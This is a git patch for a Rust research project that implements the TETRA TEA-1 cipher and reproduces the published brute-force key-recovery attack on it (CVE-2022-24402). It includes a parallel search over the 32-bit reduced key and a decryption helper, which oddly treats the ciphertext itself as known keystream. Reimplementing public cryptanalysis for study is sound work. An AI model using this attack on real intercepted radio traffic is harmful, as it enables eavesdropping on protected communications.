From fe2f625349bfc312b01e138e3a2a32cfef141767 Mon Sep 17 00:00:00 2001 From: Sam Hadow Date: Mon, 27 Apr 2026 14:43:39 +0200 Subject: [PATCH] tea 1 implementation + attack --- Cargo.lock | 2 +- Cargo.toml | 4 +- README.md | 6 +- src/main.rs | 29 +++++++++- src/tea1.rs | 137 +++++++++++++++++++++++++++++++++++++++++++++ src/tea1_attack.rs | 73 ++++++++++++++++++++++++ 6 files changed, 242 insertions(+), 9 deletions(-) create mode 100644 src/tea1.rs create mode 100644 src/tea1_attack.rs diff --git a/Cargo.lock b/Cargo.lock index d5f7741..92b1c35 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -203,7 +203,7 @@ dependencies = [ ] [[package]] -name = "tea-3" +name = "tetra_crypto" version = "0.1.0" dependencies = [ "clap", diff --git a/Cargo.toml b/Cargo.toml index 0d37b6f..56dfd30 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,10 +1,8 @@ [package] -name = "tea-3" +name = "tetra_crypto" version = "0.1.0" edition = "2021" -# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html - [dependencies] clap = { version = "4.6.0", features = ["derive"] } rayon = "1.11.0" diff --git a/README.md b/README.md index 72bc6b3..ec09f30 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# TEA-3 +## TETRA_CRYPTO -Implementation of TEA-3 in rust. -Based on "Observations on TETRA Encryption Algorithm TEA-3" and "ETSI TS 104 053-1, TETRA Air Interface Security, Algorithms Specifications" +Implementation of TEA-1 and TEA-3 in rust. +Based on "Observations on TETRA Encryption Algorithm TEA-3", "ETSI TS 104 053-1, TETRA Air Interface Security, Algorithms Specifications" and [Midnight Blue's C code](https://github.com/MidnightBlueLabs/TETRA_crypto) diff --git a/src/main.rs b/src/main.rs index 3541e3f..b350d5a 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,5 +1,7 @@ mod lfsr; mod period; +mod tea1; +mod tea1_attack; mod tea3; mod tea3_from_c; @@ -9,9 +11,12 @@ use lfsr::Lfsr; use period::{longest_period_parallel, period_paper}; use tea3::Tea3; +use tea1::*; +use tea1_attack::*; + #[derive(Parser)] -#[command(name = "tea3-tools")] -#[command(about = "LFSR / TEA-3 test utilities", long_about = None)] +#[command(name = "tetra-crypto-tools")] +#[command(about = "LFSR / TEA-3 / TEA-1 test utilities", long_about = None)] struct Cli { #[command(subcommand)] command: Commands, @@ -22,6 +27,9 @@ enum Commands { /// Test the LFSR Lfsr, + /// Test TEA-1 attack + Tea1, + /// Test TEA-3 keystream and encryption/decryption Tea3, @@ -37,6 +45,7 @@ fn main() { match cli.command { Commands::Lfsr => test_lfsr(), + Commands::Tea1 => test_tea1_attack(), Commands::Tea3 => test_tea3(), Commands::Periods => test_periods(), Commands::GreatestPeriod => find_greatest_period(), @@ -52,6 +61,22 @@ fn test_lfsr() { } } +fn test_tea1_attack() { + let key0 = [0x00u8; 10]; + let reduced0 = init_key_register(&key0); // 0xc24e273b + assert_eq!(reduced0, 0xc24e273b); + + let frame0 = 0x1111_1111u32; + let ks0 = tea1_keystream(frame0, &key0, 4); + + let recovered0 = recover_tea1_keyreg(frame0, &ks0); + assert_eq!(recovered0, Some(reduced0)); + + println!("Recovered key successfully (0x{:08x})", recovered0.unwrap()); + println!("original key (0x{:08x})", reduced0); + +} + fn test_tea3() { let key = vec![1, 2, 3, 4, 5, 6, 7, 8, 9, 10]; let state = vec![0; 8]; diff --git a/src/tea1.rs b/src/tea1.rs new file mode 100644 index 0000000..d30fb1e --- /dev/null +++ b/src/tea1.rs @@ -0,0 +1,137 @@ +// TEA 1 + +pub const TEA1_LUT_A: [u16; 8] = [ + 0xDA86, 0x85E9, 0x29B5, 0x2BC6, 0x8C6B, 0x974C, 0xC671, 0x93E2, +]; + +pub const TEA1_LUT_B: [u16; 8] = [ + 0x85D6, 0x791A, 0xE985, 0xC671, 0x2B9C, 0xEC92, 0xC62B, 0x9C47, +]; + +pub const TEA1_SBOX: [u8; 256] = [ + 0x9B, 0xF8, 0x3B, 0x72, 0x75, 0x62, 0x88, 0x22, 0xFF, 0xA6, 0x10, 0x4D, 0xA9, 0x97, 0xC3, 0x7B, + 0x9F, 0x78, 0xF3, 0xB6, 0xA0, 0xCC, 0x17, 0xAB, 0x4A, 0x41, 0x8D, 0x89, 0x25, 0x87, 0xD3, 0xE3, + 0xCE, 0x47, 0x35, 0x2C, 0x6D, 0xFC, 0xE7, 0x6A, 0xB8, 0xB7, 0xFA, 0x8B, 0xCD, 0x74, 0xEE, 0x11, + 0x23, 0xDE, 0x39, 0x6C, 0x1E, 0x8E, 0xED, 0x30, 0x73, 0xBE, 0xBB, 0x91, 0xCA, 0x69, 0x60, 0x49, + 0x5F, 0xB9, 0xC0, 0x06, 0x34, 0x2A, 0x63, 0x4B, 0x90, 0x28, 0xAC, 0x50, 0xE4, 0x6F, 0x36, 0xB0, + 0xA4, 0xD2, 0xD4, 0x96, 0xD5, 0xC9, 0x66, 0x45, 0xC5, 0x55, 0xDD, 0xB2, 0xA1, 0xA8, 0xBF, 0x37, + 0x32, 0x2B, 0x3E, 0xB5, 0x5C, 0x54, 0x67, 0x92, 0x56, 0x4C, 0x20, 0x6B, 0x42, 0x9D, 0xA7, 0x58, + 0x0E, 0x52, 0x68, 0x95, 0x09, 0x7F, 0x59, 0x9C, 0x65, 0xB1, 0x64, 0x5E, 0x4F, 0xBA, 0x81, 0x1C, + 0xC2, 0x0C, 0x02, 0xB4, 0x31, 0x5B, 0xFD, 0x1D, 0x0A, 0xC8, 0x19, 0x8F, 0x83, 0x8A, 0xCF, 0x33, + 0x9E, 0x3A, 0x80, 0xF2, 0xF9, 0x76, 0x26, 0x44, 0xF1, 0xE2, 0xC4, 0xF5, 0xD6, 0x51, 0x46, 0x07, + 0x14, 0x61, 0xF4, 0xC1, 0x24, 0x7A, 0x94, 0x27, 0x00, 0xFB, 0x04, 0xDF, 0x1F, 0x93, 0x71, 0x53, + 0xEA, 0xD8, 0xBD, 0x3D, 0xD0, 0x79, 0xE6, 0x7E, 0x4E, 0x9A, 0xD7, 0x98, 0x1B, 0x05, 0xAE, 0x03, + 0xC7, 0xBC, 0x86, 0xDB, 0x84, 0xE8, 0xD1, 0xF7, 0x16, 0x21, 0x6E, 0xE5, 0xCB, 0xA3, 0x1A, 0xEC, + 0xA2, 0x7D, 0x18, 0x85, 0x48, 0xDA, 0xAA, 0xF0, 0x08, 0xC6, 0x40, 0xAD, 0x57, 0x0D, 0x29, 0x82, + 0x7C, 0xE9, 0x8C, 0xFE, 0xDC, 0x0F, 0x2D, 0x3C, 0x2E, 0xF6, 0x15, 0x2F, 0xAF, 0xE1, 0xEB, 0x3F, + 0x99, 0x43, 0x13, 0x0B, 0xE0, 0xA5, 0x12, 0x77, 0x5D, 0xB3, 0x38, 0xD9, 0xEF, 0x5A, 0x01, 0x70, +]; + +pub fn expand_iv(short_iv: u32) -> u64 { + let xorred = short_iv ^ 0x9672_4FA1; + let xorred = xorred.rotate_left(8); + let iv = ((short_iv as u64) << 32) | (xorred as u64); + iv.rotate_right(8) +} + +pub fn state_word_to_newbyte(wst: u16, lut: &[u16; 8]) -> u8 { + let mut st0 = (wst & 0x00FF) as u8; + let mut st1 = (wst >> 8) as u8; + let mut out = 0u8; + + for (i, &lut_item) in lut.iter().enumerate() { + let dist = ((st0 >> 7) & 1) | ((st0 << 1) & 0x02) | ((st1 << 1) & 0x0C); + + if (lut_item & (1u16 << dist)) != 0 { + out |= 1u8 << i; + } + + st0 = st0.rotate_right(1); + st1 = st1.rotate_right(1); + } + + out +} + +pub fn reorder_state_byte(b: u8) -> u8 { + let mut out = 0u8; + out |= (b.wrapping_shl(6)) & 0x40; + out |= (b.wrapping_shl(1)) & 0x20; + out |= (b.wrapping_shl(2)) & 0x08; + out |= (b.wrapping_shr(3)) & 0x14; + out |= (b.wrapping_shr(2)) & 0x01; + out |= (b.wrapping_shr(5)) & 0x02; + out |= (b.wrapping_shl(4)) & 0x80; + out +} + +pub fn init_key_register(key: &[u8; 10]) -> u32 { + let mut reg: u32 = 0; + + for &kb in key.iter() { + let idx = (((reg >> 24) ^ (kb as u32) ^ reg) & 0xFF) as usize; + reg = (reg << 8) | (TEA1_SBOX[idx] as u32); + } + + reg +} + +pub fn tea1_keystream(frame_number: u32, key: &[u8; 10], num_bytes: usize) -> Vec { + let mut out = vec![0u8; num_bytes]; + tea1_into(frame_number, key, &mut out); + out +} + +pub fn tea1_into(frame_number: u32, key: &[u8; 10], out: &mut [u8]) { + let mut iv_reg = expand_iv(frame_number); + let mut key_reg = init_key_register(key); + + let mut skip_rounds: u32 = 54; + + for byte_out in out.iter_mut() { + for _ in 0..skip_rounds { + // Step 1: non-linear feedback byte from key register + let sbox_idx = (((key_reg >> 24) ^ key_reg) & 0xFF) as usize; + let sbox_out = TEA1_SBOX[sbox_idx]; + + key_reg = (key_reg << 8) | (sbox_out as u32); + + // Step 2: derive 3 bytes from current state + let deriv_12 = state_word_to_newbyte(((iv_reg >> 8) & 0xFFFF) as u16, &TEA1_LUT_A); + let deriv_56 = state_word_to_newbyte(((iv_reg >> 40) & 0xFFFF) as u16, &TEA1_LUT_B); + let reord_4 = reorder_state_byte(((iv_reg >> 32) & 0xFF) as u8); + + // Step 3: combine + let new_byte = deriv_56 ^ ((iv_reg >> 56) as u8) ^ reord_4 ^ sbox_out; + let mix_byte = deriv_12; + + // Step 4: update LFSR + iv_reg = ((iv_reg << 8) ^ ((mix_byte as u64) << 32)) | (new_byte as u64); + } + + *byte_out = (iv_reg >> 56) as u8; + skip_rounds = 19; + } +} + +#[cfg(test)] +mod tests { + use super::tea1_keystream; + + #[test] + fn test_tea1_vectors() { + let key0 = [0x00u8; 10]; + let out0 = tea1_keystream(0x1111_1111, &key0, 10); + assert_eq!( + out0, + vec![0xD3, 0x3F, 0xD8, 0xA6, 0x05, 0xA0, 0xA1, 0xBB, 0x90, 0x23,] + ); + + let key1 = [0xA7, 0x98, 0x39, 0xE4, 0xBA, 0x88, 0xEE, 0x54, 0xA0, 0x29]; + let out1 = tea1_keystream(0x0123_4567, &key1, 10); + assert_eq!( + out1, + vec![0x1D, 0xEC, 0x9C, 0x7E, 0xC6, 0x22, 0x3D, 0x87, 0xC2, 0xCC,] + ); + } +} diff --git a/src/tea1_attack.rs b/src/tea1_attack.rs new file mode 100644 index 0000000..ca00861 --- /dev/null +++ b/src/tea1_attack.rs @@ -0,0 +1,73 @@ +// tea1_attack.rs +// Implementation of the Midnight Blue Labs TEA1 attack (CVE-2022-24402) +use rayon::prelude::*; +use crate::tea1::*; + +/// Generates the TEA1 keystream using a candidate 32-bit key register directly +pub fn tea1_keystream_with_keyreg(frame_number: u32, mut key_reg: u32, num_bytes: usize) -> Vec { + let mut out = vec![0u8; num_bytes]; + let mut iv_reg = expand_iv(frame_number); + let mut skip_rounds: u32 = 54; + + for byte_out in out.iter_mut() { + for _ in 0..skip_rounds { + // Step 1: non-linear feedback byte from key register + let sbox_idx = (((key_reg >> 24) ^ key_reg) & 0xFF) as usize; + let sbox_out = TEA1_SBOX[sbox_idx]; + + key_reg = (key_reg << 8) | (sbox_out as u32); + + // Step 2: derive 3 bytes from current state + let deriv_12 = state_word_to_newbyte(((iv_reg >> 8) & 0xFFFF) as u16, &TEA1_LUT_A); + let deriv_56 = state_word_to_newbyte(((iv_reg >> 40) & 0xFFFF) as u16, &TEA1_LUT_B); + let reord_4 = reorder_state_byte(((iv_reg >> 32) & 0xFF) as u8); + + // Step 3: combine + let new_byte = deriv_56 ^ ((iv_reg >> 56) as u8) ^ reord_4 ^ sbox_out; + let mix_byte = deriv_12; + + // Step 4: update LFSR + iv_reg = ((iv_reg << 8) ^ ((mix_byte as u64) << 32)) | (new_byte as u64); + } + + *byte_out = (iv_reg >> 56) as u8; + skip_rounds = 19; + } + out +} + +/// Brute-force recovery of the 32-bit effective key register given a frame number and a known keystream prefix +/// Returns the matching key_reg (or None if none found) +pub fn recover_tea1_keyreg(frame_number: u32, known_keystream: &[u8]) -> Option { + if known_keystream.is_empty() { + return None; + } + + let check_len = known_keystream.len().min(4); + + let mut known_arr = [0u8; 8]; + known_arr[0..check_len].copy_from_slice(&known_keystream[0..check_len]); + + (0u32..=u32::MAX) + .into_par_iter() + .find_any({ + let frame_number = frame_number; + let known_arr = known_arr; + let check_len = check_len; + + move |&candidate| { + let ks = tea1_keystream_with_keyreg(frame_number, candidate, check_len); + ks.as_slice() == &known_arr[0..check_len] + } + }) +} + + +pub fn decrypt_with_recovered_key( + frame_number: u32, + ciphertext: &[u8], +) -> Option> { + let key_reg = recover_tea1_keyreg(frame_number, ciphertext)?; + let keystream = tea1_keystream_with_keyreg(frame_number, key_reg, ciphertext.len()); + Some(keystream.into_iter().zip(ciphertext).map(|(k, c)| k ^ c).collect()) +}